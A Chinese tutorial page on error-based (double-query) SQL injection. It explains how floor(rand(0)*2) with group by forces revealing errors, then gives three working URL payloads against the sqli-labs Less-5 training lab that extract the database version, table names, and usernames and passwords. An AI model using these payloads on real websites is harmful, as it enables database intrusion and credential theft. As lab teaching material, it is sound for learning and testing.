Java教程

SQL注入(6)

本文主要是介绍SQL注入(6),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

GET报错注入

报错注入介绍

报错注入形式上是两个嵌套的查询,即select…(select…),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

rand()随机函数,返回0~1之间的某个值

floor(a)取整函数,返回小于等于a,且值最接近a的一个整数

count()聚合函数也称作计数函数,返回查询对象的总数

gourp by clause分组函数,按照查询结果分组

通过报错来显示具体的信息

查询的时候如果使用rand()的话,该值会被计算多次。在使用group
by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入的时候会再被执行一次。在一次多记录的查询过程中

floor(rand(0)*2)的只是定性的,为011011

python select count(*) from table group by floor(rand(0)*2);

GET单引号报错注入

Less 5:
获取数据库

http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

请添加图片描述

获取表名

http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

请添加图片描述

获取用户信息

http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

请添加图片描述

GET双引号报错注入

上面的单引号变成双引号,其它的没什么改变

Sqlmap安全测试

略!!!

这篇关于SQL注入(6)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!